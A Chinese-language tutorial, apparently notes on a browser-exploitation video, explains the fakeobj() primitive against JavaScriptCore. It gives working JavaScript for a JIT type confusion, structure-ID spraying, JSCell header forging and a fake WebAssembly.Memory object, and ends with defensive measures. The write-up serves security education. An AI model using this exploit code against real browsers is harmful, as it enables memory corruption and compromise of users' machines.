The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05
字数 944 2025-08-05 08:20:09
FakeObj原语:将地址泄漏转化为内存破坏
1. 背景与概述
fakeobj()原语是基于addrof()中使用的漏洞,允许攻击者破坏JavaScriptCore内部对象的内存空间。与addrof()原语(用于泄漏对象地址)相反,fakeobj()可以将双精度浮点数解释为对象指针,从而创建伪造的JavaScript对象。
2. JavaScript对象内存布局
JavaScript对象在内存中的布局包含以下关键部分:
- JSCell头部:包含标志和结构ID
- Butterfly结构:用于存储数组元素和属性
- 内联属性:直接存储在对象内存中的属性
示例内存布局:
0x62d0000d4080: 0x0100160000000126 # 标志和结构ID
0x62d0000d4088: 0x0000000000000000 # Butterfly指针
0x62d0000d4090: 0xffff000000000001 # 内联属性x=1
3. FakeObj原语实现
3.1 基本实现
function fakeobj(dbl) {
var array = [13.37];
var reg = /abc/y;
var AddrSetter = function(array) {
"abc".match(reg);
array[0] = dbl;
}
// 强制优化
for(var i = 0; i < 100000; ++i) AddrSetter(array);
// 设置漏洞触发条件
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
// 执行
AddrSetter(array);
return array[0];
}
3.2 工作原理
- 创建一个包含双精度浮点数的数组
- JIT代码将双精度浮点数写入数组第一个元素
- 通过toString函数触发漏洞
- 引擎将数组转换为连续内存空间数组并放入对象指针
- JIT代码仍将其视为双精度数组,覆盖指针
- 返回被覆盖的"对象"
4. 伪造对象技术
4.1 构造JSCell头部
- 喷射大量对象以猜测有效的结构ID:
for(var i = 0; i < 0x1000; i++) {
test = {};
test.x = 1;
test['prop_' + i] = 2;
}
- 构造64位JSCell头部值(包含标志和结构ID):
# Python代码
import struct
struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x1000000000000))
- 将结果赋给伪造对象的属性:
fake.a = 7.082855106403439e-304;
4.2 设置Butterfly和内联属性
- 设置Butterfly指针:
fake.b = 2;
delete fake.b; // 这会将其置为0x0
- 设置内联属性:
fake.c = 1337; // 这将作为伪造对象的属性
5. 高级利用技术
5.1 Linus的解决方案
- 喷射Float64Array和WebAssembly.Memory对象:
var structs = [];
for(var i = 0; i < 0x5000; i++) {
var a = new Float64Array(1);
a['prop' + i] = 1337;
structs.push(a);
}
for(var i = 0; i < 50; i++) {
var a = new WebAssembly.Memory({initial: 0});
a['prop' + i] = 1337;
structs.push(a);
}
- 构造伪造的WebAssembly.Memory对象:
var wasmBuffer = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: null,
vector: null,
memory: null,
deleteMe: null
};
delete wasmBuffer.butterfly;
var wasmBufferRawAddr = addrof(wasmBuffer);
var wasmBufferAddr = Add(Int64.fromDouble(wasmBufferRawAddr), 16);
var fakeWasmBuffer = fakeobj(wasmBufferAddr.asDouble());
- 通过递增结构ID找到WebAssembly.Memory实例:
while(!(fakeWasmBuffer instanceof WebAssembly.Memory)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
wasmBuffer.jsCellHeader = jsCellHeader.asJSValue();
}
6. 关键点总结
- 类型混淆:利用JIT优化和动态类型系统的差异
- 内存布局控制:通过喷射对象控制内存布局
- 结构ID猜测:通过大量喷射确保成功匹配
- 对象伪造:精确控制内存布局伪造有效对象
- WebAssembly利用:通过伪造WebAssembly对象实现更高级利用
7. 防御措施
- 加强类型检查,防止类型混淆
- 改进JIT优化策略,避免不安全优化
- 引入结构ID随机化
- 加强对象内存布局的保护
- 实现更严格的指针检查机制
通过掌握这些技术,安全研究人员可以更好地理解浏览器漏洞利用的高级技术,并开发更有效的防御措施。